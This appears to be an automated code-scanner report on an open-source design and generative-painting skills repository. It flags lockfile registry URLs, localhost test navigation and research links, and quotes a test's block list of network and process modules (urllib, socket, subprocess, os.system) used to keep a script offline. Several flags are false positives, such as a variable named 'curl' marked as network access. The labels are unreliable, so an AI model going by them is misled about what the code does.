    "version": "2.3.3",       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",       "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
  • Network accessline 1368
    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
  • Network accessline 1381
    "node_modules/zod": {       "version": "4.6.7",       "resolved": "https://registry.npmjs.org/zod/-/zod-4.6.7.tgz",
  • Network accessline 1382
    "version": "4.6.7",       "resolved": "https://registry.npmjs.org/zod/-/zod-4.6.7.tgz",       "integrity": "sha512-g8W2D2kU6a8untc053fX1uVBKzM7yqAxW/3zwk83+6RyF2+SKOuV+c0wBDhUwzV1PaGapmZH+rmcUzPf+3CGwg==",
  • Network accessline 1383
    "resolved": "https://registry.npmjs.org/zod/-/zod-4.6.7.tgz",
  • Network accessline 1385
    "license": "MIT",       "funding": {         "url": "https://github.com/sponsors/colinhacks"
  • Network accessline 1386
    "funding": {         "url": "https://github.com/sponsors/colinhacks"       }
  • Network accessline 1387
    "url": "https://github.com/sponsors/colinhacks"

skills/opendesigner-paint/engine/package.json

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/public/plate-hooks.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/scripts/export.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 93
    await page.route('**/@vite/client', (r) => r.fulfill({ status: 200, contentType: 'application/javascript', body: 'export {};' }));   await page.goto(`http://127.0.0.1:${port}/?export=1${only ? `&only=${encodeURIComponent(only)}` : ''}`, { w
  • Network accessline 94
    await page.goto(`http://127.0.0.1:${port}/?export=1${only ? `&only=${encodeURIComponent(only)}` : ''}`, { waitUntil: 'domcontentloaded', timeout: 0 });

skills/opendesigner-paint/engine/src/capture.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/kit.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/main.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/materials/cel.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/materials/charcoal.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/materials/common.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/materials/sketch.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/materials/woodcut.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/ocean.js

  • Executable scriptline 1
    Executable file
  • Network accessline 142
    const a0 = 20 + (140 * i) / (n - 1) + G(0, 5);       const path = [];       const L = r * R(2.3, 3.3); const curl = (i % 2 ? 1 : -1) * R(260, 420);
  • Network accessline 143
    const path = [];       const L = r * R(2.3, 3.3); const curl = (i % 2 ? 1 : -1) * R(260, 420);       let [px, py] = polar(x, y, a0, r * 0.45); let a = a0;
  • Network accessline 144
    const L = r * R(2.3, 3.3); const curl = (i % 2 ? 1 : -1) * R(260, 420);
  • Network accessline 147
    for (let s = 0; s <= steps; s++) {         const t = s / steps; path.push([px, py]);         a += (curl / steps) * Math.pow(t, 2.2) + G(0, 2);
  • Network accessline 148
    const t = s / steps; path.push([px, py]);         a += (curl / steps) * Math.pow(t, 2.2) + G(0, 2);         [px, py] = polar(px, py, a, (L / steps) * (1 - t * 0.55));
  • Network accessline 149
    a += (curl / steps) * Math.pow(t, 2.2) + G(0, 2);

skills/opendesigner-paint/engine/src/particles.js

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 55
    const rm = dustRadius(theta);

skills/opendesigner-paint/engine/src/plate-page.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/pointillism.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/renderer.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/rng.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/score-soft.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/score.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/src/sea.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/tools/cut_audit.py

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/tools/playback_check.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 20
    page.on('pageerror', (e) => errors.push(e.message));   page.on('console', (m) => { if (m.type() === 'error') errors.push(m.text()); });   await page.goto(`http://127.0.0.1:${port}/`, { waitUntil: 'domcontentloaded', timeout: 0 });
  • Network accessline 21
    page.on('console', (m) => { if (m.type() === 'error') errors.push(m.text()); });   await page.goto(`http://127.0.0.1:${port}/`, { waitUntil: 'domcontentloaded', timeout: 0 });   await page.evaluate(() => window.__frames.ready);
  • Network accessline 22
    await page.goto(`http://127.0.0.1:${port}/`, { waitUntil: 'domcontentloaded', timeout: 0 });

skills/opendesigner-paint/engine/tools/thumb_delta.py

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/engine/vite.config.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/scripts/new-film.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 24
    rm -f "$target/src/film.js.bak"
  • Network accessline 28
    command -v ffmpeg >/dev/null || echo "note: ffmpeg not found; install it or export with --no-video" echo "Ready: $target  (style '$style', film id '$id', audio seed '$seed')" echo "  npm run dev      # preview at http://localhost:5173  (?pl
  • Network accessline 29
    echo "Ready: $target  (style '$style', film id '$id', audio seed '$seed')" echo "  npm run dev      # preview at http://localhost:5173  (?plate=<id> shows one painting)" echo "  npm run plates   # every plate as a lossless PNG + contact she
  • Network accessline 30
    echo "  npm run dev      # preview at http://localhost:5173  (?plate=<id> shows one painting)"

skills/opendesigner-paint/scripts/paint.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 25
    SKILL = HERE.parent ENGINE, STYLES_DIR = SKILL / "engine", SKILL / "styles" VENDORED = {"repo": "https://github.com/ckryptickunal/generative-painting-skills",
  • Network accessline 26
    ENGINE, STYLES_DIR = SKILL / "engine", SKILL / "styles" VENDORED = {"repo": "https://github.com/ckryptickunal/generative-painting-skills",             "commit": "1ff8212779985e573507ebd51e5da080605af48d", "path": "skills/opendesigner-paint 
  • Network accessline 27
    VENDORED = {"repo": "https://github.com/ckryptickunal/generative-painting-skills",

skills/opendesigner-paint/scripts/test_paint.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 55
    (out / "streak.mp4").write_bytes(b"\x00\x00\x00\x18ftypisom")
  • Network accessline 248
    def test_bridge_stays_offline(self):         src = (HERE / "paint.py").read_text()         for bad in ("urllib", "urlopen", "socket", "subprocess", "os.system", "http.client"):
  • Network accessline 249
    src = (HERE / "paint.py").read_text()         for bad in ("urllib", "urlopen", "socket", "subprocess", "os.system", "http.client"):             self.assertNotIn(bad, src)
  • Network accessline 250
    for bad in ("urllib", "urlopen", "socket", "subprocess", "os.system", "http.client"):
  • Network accessline 329
    if path:                 with self.subTest(path):                     self.assertTrue(p.get("resolved", "").startswith("https://registry.npmjs.org/"))
  • Network accessline 330
    with self.subTest(path):                     self.assertTrue(p.get("resolved", "").startswith("https://registry.npmjs.org/"))                     self.assertTrue(p.get("integrity", "").startswith("sha512-"))
  • Network accessline 331
    self.assertTrue(p.get("resolved", "").startswith("https://registry.npmjs.org/"))

skills/opendesigner-paint/styles/cel/demo/film.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/cel/demo/scenes/01-cobalt-exuberance.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/cel/demo/scenes/09-specimen-plate.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/cel/demo/scenes/10-dust-flower.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/cel/demo/scenes/12-radial-bloom.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/cel/demo/scenes/15-almost-nothing.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/cel/demo/scenes/18-black-yellow.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/cel/demo/scenes/index.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/charcoal/demo/film.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/charcoal/demo/scenes/01-cobalt-exuberance.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/charcoal/demo/scenes/09-specimen-plate.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/charcoal/demo/scenes/10-dust-flower.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/charcoal/demo/scenes/12-radial-bloom.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/charcoal/demo/scenes/15-almost-nothing.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/charcoal/demo/scenes/18-black-yellow.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/charcoal/demo/scenes/index.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/demo/film.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/demo/scenes/01-reef-ignition.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/demo/scenes/02-moon-jelly-silence.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/demo/scenes/03-silver-current.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/demo/scenes/09-barracuda-diagonal.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/demo/scenes/10-school-into-current.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/demo/scenes/12-jelly-constellation.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/demo/scenes/18-manta-monument.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/demo/scenes/index.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/01-reef-ignition.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/02-moon-jelly-silence.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/03-silver-current.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/04-nudibranch-studies.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/05-sea-fan-aperture.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/06-leafy-seadragon.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/07-moon-jelly-quadrants.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/08-reef-fish-atlas.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/09-barracuda-diagonal.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/10-school-into-current.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/11-puffer-diagram.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/12-jelly-constellation.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/13-seagrass-meadow.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/14-comb-jelly-study.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/15-plankton-breath.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/16-lionfish-fan.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/18-manta-monument.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/19-quiet-reef-distance.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/pointillism/scene-library/20-octopus-field-notes.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/sketch/demo/film.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/sketch/demo/scenes/01-cobalt-exuberance.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/sketch/demo/scenes/09-specimen-plate.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/sketch/demo/scenes/10-dust-flower.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/sketch/demo/scenes/12-radial-bloom.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/sketch/demo/scenes/15-almost-nothing.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/sketch/demo/scenes/18-black-yellow.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/sketch/demo/scenes/index.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/demo/film.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/demo/scenes/01-cobalt-exuberance.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/demo/scenes/09-specimen-plate.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/demo/scenes/10-dust-flower.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/demo/scenes/12-radial-bloom.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/demo/scenes/15-almost-nothing.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/demo/scenes/18-black-yellow.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/demo/scenes/index.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/01-cobalt-exuberance.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/02-mint-textile.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/03-engraved-diagonals.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/04-night-specimens.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/05-watercolor-wreath.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/07-nocturnal-corners.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/09-specimen-plate.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/10-dust-flower.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/11-engineering-flower.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/12-radial-bloom.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/13-wildflower-field.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/14-measured-pink.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/15-almost-nothing.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/16-single-glazed-flower.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/18-black-yellow.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/watercolour/scene-library/19-botanical-landscape.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/woodcut/demo/film.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/woodcut/demo/scenes/01-cobalt-exuberance.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/woodcut/demo/scenes/09-specimen-plate.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/woodcut/demo/scenes/10-dust-flower.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/woodcut/demo/scenes/12-radial-bloom.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/woodcut/demo/scenes/15-almost-nothing.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/woodcut/demo/scenes/18-black-yellow.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-paint/styles/woodcut/demo/scenes/index.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-preflight/SKILL.md

  • Network accessline 6
    metadata:   version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner"
  • Network accessline 7
    version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner" ---
  • Network accessline 8
    homepage: "https://github.com/ckryptickunal/OpenDesigner"

skills/opendesigner-preflight/scripts/preflight.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/opendesigner-preflight/scripts/test_preflight.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 34
    """ TOKEN_PAGE = """<!doctype html><html><head> <link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400;600&amp;family=Geist+Mono&amp;display=swap" rel="stylesheet">
  • Network accessline 35
    TOKEN_PAGE = """<!doctype html><html><head> <link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400;600&amp;family=Geist+Mono&amp;display=swap" rel="stylesheet"> <link rel="stylesheet" href="tokens.css">
  • Network accessline 36
    <link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400;600&amp;family=Geist+Mono&amp;display=swap" rel="stylesheet">
  • Network accessline 98
    def test_unread_remote_sheet_warns_instead_of_failing(self):         page = ('<html><head><link rel="stylesheet" href="https://use.typekit.net/abc.css">'
  • Network accessline 99
    page = ('<html><head><link rel="stylesheet" href="https://use.typekit.net/abc.css">'

skills/opendesigner-review/SKILL.md

  • Network accessline 6
    metadata:   version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner"
  • Network accessline 7
    version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner" ---
  • Network accessline 8
    homepage: "https://github.com/ckryptickunal/OpenDesigner"
  • Network accessline 52
    review.py plan --url http://localhost:3000 --routes /,/settings          5 sizes (320, 390, 768, 1024, 1440) x the system's themes
  • Network accessline 68
    python3 capture.py --url http://localhost:3000 --routes /,/settings [--channel chrome]

skills/opendesigner-review/references/cases.json

  • Network accessline 1183
    "S-R5-001": {       "title": "Vision language models are blind (BlindTest)",       "url": "https://arxiv.org/abs/2407.06581",
  • Network accessline 1184
    "title": "Vision language models are blind (BlindTest)",       "url": "https://arxiv.org/abs/2407.06581",       "status": "opened",
  • Network accessline 1185
    "url": "https://arxiv.org/abs/2407.06581",
  • Network accessline 1189
    "S-R5-002": {       "title": "Anthropic vision docs: image limits, cost, downscaling",       "url": "https://platform.claude.com/docs/en/build-with-claude/vision",
  • Network accessline 1190
    "title": "Anthropic vision docs: image limits, cost, downscaling",       "url": "https://platform.claude.com/docs/en/build-with-claude/vision",       "status": "opened",
  • Network accessline 1191
    "url": "https://platform.claude.com/docs/en/build-with-claude/vision",
  • Network accessline 1195
    "S-R5-003": {       "title": "Anthropic vision docs: coordinates and resizing",       "url": "https://platform.claude.com/docs/en/build-with-claude/vision-coordinates",
  • Network accessline 1196
    "title": "Anthropic vision docs: coordinates and resizing",       "url": "https://platform.claude.com/docs/en/build-with-claude/vision-coordinates",       "status": "opened",
  • Network accessline 1197
    "url": "https://platform.claude.com/docs/en/build-with-claude/vision-coordinates",
  • Network accessline 1201
    "S-R5-004": {       "title": "ScreenSpot-Pro: GUI grounding at high resolution",       "url": "https://arxiv.org/abs/2504.07981",
  • Network accessline 1202
    "title": "ScreenSpot-Pro: GUI grounding at high resolution",       "url": "https://arxiv.org/abs/2504.07981",       "status": "opened",
  • Network accessline 1203
    "url": "https://arxiv.org/abs/2504.07981",
  • Network accessline 1207
    "S-R5-005": {       "title": "Design2Code: how far are we from automating front-end engineering",       "url": "https://arxiv.org/html/2403.03163v3",
  • Network accessline 1208
    "title": "Design2Code: how far are we from automating front-end engineering",       "url": "https://arxiv.org/html/2403.03163v3",       "status": "opened",
  • Network accessline 1209
    "url": "https://arxiv.org/html/2403.03163v3",
  • Network accessline 1213
    "S-R5-006": {       "title": "ColorBench: can VLMs see and understand the colorful world",       "url": "https://arxiv.org/abs/2504.10514",
  • Network accessline 1214
    "title": "ColorBench: can VLMs see and understand the colorful world",       "url": "https://arxiv.org/abs/2504.10514",       "status": "opened"
  • Network accessline 1215
    "url": "https://arxiv.org/abs/2504.10514",
  • Network accessline 1218
    "S-R5-007": {       "title": "How I gave my AI coding agent eyes: a screenshot feedback loop",       "url": "https://dev.to/yureki_lab/how-i-gave-my-ai-coding-agent-eyes-a-screenshot-feedback-loop-for-ui-work-jce",
  • Network accessline 1219
    "title": "How I gave my AI coding agent eyes: a screenshot feedback loop",       "url": "https://dev.to/yureki_lab/how-i-gave-my-ai-coding-agent-eyes-a-screenshot-feedback-loop-for-ui-work-jce",       "status": "anecdotal",
  • Network accessline 1220
    "url": "https://dev.to/yureki_lab/how-i-gave-my-ai-coding-agent-eyes-a-screenshot-feedback-loop-for-ui-work-jce",
  • Network accessline 1224
    "S-R5-008": {       "title": "LLM evaluators recognize and favor their own generations",       "url": "https://arxiv.org/abs/2404.13076",
  • Network accessline 1225
    "title": "LLM evaluators recognize and favor their own generations",       "url": "https://arxiv.org/abs/2404.13076",       "status": "opened"
  • Network accessline 1226
    "url": "https://arxiv.org/abs/2404.13076",
  • Network accessline 1229
    "S-R5-009": {       "title": "Large language models cannot self-correct reasoning yet",       "url": "https://arxiv.org/abs/2310.01798",
  • Network accessline 1230
    "title": "Large language models cannot self-correct reasoning yet",       "url": "https://arxiv.org/abs/2310.01798",       "status": "opened"
  • Network accessline 1231
    "url": "https://arxiv.org/abs/2310.01798",
  • Network accessline 1234
    "S-R5-010": {       "title": "Anthropic engineering: harness design for long-running apps",       "url": "https://anthropic.com/engineering/harness-design-long-running-apps",
  • Network accessline 1235
    "title": "Anthropic engineering: harness design for long-running apps",       "url": "https://anthropic.com/engineering/harness-design-long-running-apps",       "status": "opened",
  • Network accessline 1236
    "url": "https://anthropic.com/engineering/harness-design-long-running-apps",
  • Network accessline 1240
    "S-R5-011": {       "title": "Anthropic engineering: effective harnesses for long-running agents",       "url": "https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents",
  • Network accessline 1241
    "title": "Anthropic engineering: effective harnesses for long-running agents",       "url": "https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents",       "status": "opened",
  • Network accessline 1242
    "url": "https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents",
  • Network accessline 1246
    "S-R5-012": {       "title": "Claude Code best practices",       "url": "https://code.claude.com/docs/en/best-practices",
  • Network accessline 1247
    "title": "Claude Code best practices",       "url": "https://code.claude.com/docs/en/best-practices",       "status": "opened",
  • Network accessline 1248
    "url": "https://code.claude.com/docs/en/best-practices",
  • Network accessline 1252
    "S-R5-013": {       "title": "ArtifactsBench: bridging the visual-interactive gap in code generation",       "url": "https://arxiv.org/abs/2507.04952",
  • Network accessline 1253
    "title": "ArtifactsBench: bridging the visual-interactive gap in code generation",       "url": "https://arxiv.org/abs/2507.04952",       "status": "opened",
  • Network accessline 1254
    "url": "https://arxiv.org/abs/2507.04952",
  • Network accessline 1258
    "S-R5-014": {       "title": "claude-code issue 70553: UI fix claimed but unchanged",       "url": "https://github.com/anthropics/claude-code/issues/70553",
  • Network accessline 1259
    "title": "claude-code issue 70553: UI fix claimed but unchanged",       "url": "https://github.com/anthropics/claude-code/issues/70553",       "status": "anecdotal",
  • Network accessline 1260
    "url": "https://github.com/anthropics/claude-code/issues/70553",
  • Network accessline 1264
    "S-R5-015": {       "title": "Playwright actionability and visibility",       "url": "https://playwright.dev/docs/actionability",
  • Network accessline 1265
    "title": "Playwright actionability and visibility",       "url": "https://playwright.dev/docs/actionability",       "status": "opened",
  • Network accessline 1266
    "url": "https://playwright.dev/docs/actionability",
  • Network accessline 1270
    "S-R5-016": {       "title": "Playwright page assertions: toHaveScreenshot options",       "url": "https://playwright.dev/docs/api/class-pageassertions",
  • Network accessline 1271
    "title": "Playwright page assertions: toHaveScreenshot options",       "url": "https://playwright.dev/docs/api/class-pageassertions",       "status": "opened",
  • Network accessline 1272
    "url": "https://playwright.dev/docs/api/class-pageassertions",
  • Network accessline 1276
    "S-R5-017": {       "title": "I let a coding agent render Android UI without an emulator",       "url": "https://dev.to/hram/i-let-a-coding-agent-render-android-ui-without-an-emulator-a-screenshot-wasnt-enough-25o",
  • Network accessline 1277
    "title": "I let a coding agent render Android UI without an emulator",       "url": "https://dev.to/hram/i-let-a-coding-agent-render-android-ui-without-an-emulator-a-screenshot-wasnt-enough-25o",       "status": "anecdotal",
  • Network accessline 1278
    "url": "https://dev.to/hram/i-let-a-coding-agent-render-android-ui-without-an-emulator-a-screenshot-wasnt-enough-25o",
  • Network accessline 1282
    "S-R5-018": {       "title": "Why AI coding assistants write clean-looking CSS that breaks in production",       "url": "https://dev.to/devpreflight/why-ai-coding-assistants-write-clean-looking-css-that-breaks-in-production-and-how-to-fix-i
  • Network accessline 1283
    "title": "Why AI coding assistants write clean-looking CSS that breaks in production",       "url": "https://dev.to/devpreflight/why-ai-coding-assistants-write-clean-looking-css-that-breaks-in-production-and-how-to-fix-it-4mk1",       "stat
  • Network accessline 1284
    "url": "https://dev.to/devpreflight/why-ai-coding-assistants-write-clean-looking-css-that-breaks-in-production-and-how-to-fix-it-4mk1",
  • Network accessline 1288
    "S-R5-019": {       "title": "Chrome DevTools MCP tool reference",       "url": "https://github.com/ChromeDevTools/chrome-devtools-mcp/blob/main/docs/tool-reference.md",
  • Network accessline 1289
    "title": "Chrome DevTools MCP tool reference",       "url": "https://github.com/ChromeDevTools/chrome-devtools-mcp/blob/main/docs/tool-reference.md",       "status": "opened",
  • Network accessline 1290
    "url": "https://github.com/ChromeDevTools/chrome-devtools-mcp/blob/main/docs/tool-reference.md",
  • Network accessline 1294
    "S-R5-020": {       "title": "Playwright MCP: accessibility snapshots",       "url": "https://playwright.dev/mcp/snapshots",
  • Network accessline 1295
    "title": "Playwright MCP: accessibility snapshots",       "url": "https://playwright.dev/mcp/snapshots",       "status": "opened",
  • Network accessline 1296
    "url": "https://playwright.dev/mcp/snapshots",
  • Network accessline 1300
    "S-R5-021": {       "title": "cdmx-in/ui-review skill",       "url": "https://github.com/cdmx-in/ui-review",
  • Network accessline 1301
    "title": "cdmx-in/ui-review skill",       "url": "https://github.com/cdmx-in/ui-review",       "status": "opened",
  • Network accessline 1302
    "url": "https://github.com/cdmx-in/ui-review",
  • Network accessline 1306
    "S-R5-022": {       "title": "Playwright visual comparisons",       "url": "https://playwright.dev/docs/test-snapshots",
  • Network accessline 1307
    "title": "Playwright visual comparisons",       "url": "https://playwright.dev/docs/test-snapshots",       "status": "opened",
  • Network accessline 1308
    "url": "https://playwright.dev/docs/test-snapshots",
  • Network accessline 1312
    "S-R5-023": {       "title": "Chromatic diff threshold",       "url": "https://www.chromatic.com/docs/threshold/",
  • Network accessline 1313
    "title": "Chromatic diff threshold",       "url": "https://www.chromatic.com/docs/threshold/",       "status": "opened"
  • Network accessline 1314
    "url": "https://www.chromatic.com/docs/threshold/",
  • Network accessline 1317
    "S-R5-024": {       "title": "Percy: stabilize screenshots, animations",       "url": "https://www.browserstack.com/docs/percy/stabilize-screenshots/animations",
  • Network accessline 1318
    "title": "Percy: stabilize screenshots, animations",       "url": "https://www.browserstack.com/docs/percy/stabilize-screenshots/animations",       "status": "opened",
  • Network accessline 1319
    "url": "https://www.browserstack.com/docs/percy/stabilize-screenshots/animations",
  • Network accessline 1323
    "S-R5-025": {       "title": "pixelmatch",       "url": "https://github.com/mapbox/pixelmatch",
  • Network accessline 1324
    "title": "pixelmatch",       "url": "https://github.com/mapbox/pixelmatch",       "status": "opened",
  • Network accessline 1325
    "url": "https://github.com/mapbox/pixelmatch",
  • Network accessline 1329
    "S-R5-026": {       "title": "Claude Code code-review plugin README",       "url": "https://github.com/anthropics/claude-code/blob/main/plugins/code-review/README.md",
  • Network accessline 1330
    "title": "Claude Code code-review plugin README",       "url": "https://github.com/anthropics/claude-code/blob/main/plugins/code-review/README.md",       "status": "opened",
  • Network accessline 1331
    "url": "https://github.com/anthropics/claude-code/blob/main/plugins/code-review/README.md",
  • Network accessline 1335
    "S-R5-027": {       "title": "Chain-of-Verification reduces hallucination",       "url": "https://arxiv.org/abs/2309.11495",
  • Network accessline 1336
    "title": "Chain-of-Verification reduces hallucination",       "url": "https://arxiv.org/abs/2309.11495",       "status": "opened"
  • Network accessline 1337
    "url": "https://arxiv.org/abs/2309.11495",
  • Network accessline 1340
    "S-R5-028": {       "title": "MLLM-as-a-judge",       "url": "https://arxiv.org/abs/2402.04788",
  • Network accessline 1341
    "title": "MLLM-as-a-judge",       "url": "https://arxiv.org/abs/2402.04788",       "status": "opened",
  • Network accessline 1342
    "url": "https://arxiv.org/abs/2402.04788",
  • Network accessline 1346
    "S-R5-029": {       "title": "21st.dev design QA checklist",       "url": "https://21st.dev/blog/design-qa-checklist",
  • Network accessline 1347
    "title": "21st.dev design QA checklist",       "url": "https://21st.dev/blog/design-qa-checklist",       "status": "opened",
  • Network accessline 1348
    "url": "https://21st.dev/blog/design-qa-checklist",
  • Network accessline 1352
    "S-R5-030": {       "title": "Uiprobe: Figma design QA checklist for frontend teams",       "url": "https://www.uiprobe.io/learn/figma-design-qa-checklist-for-frontend-teams",
  • Network accessline 1353
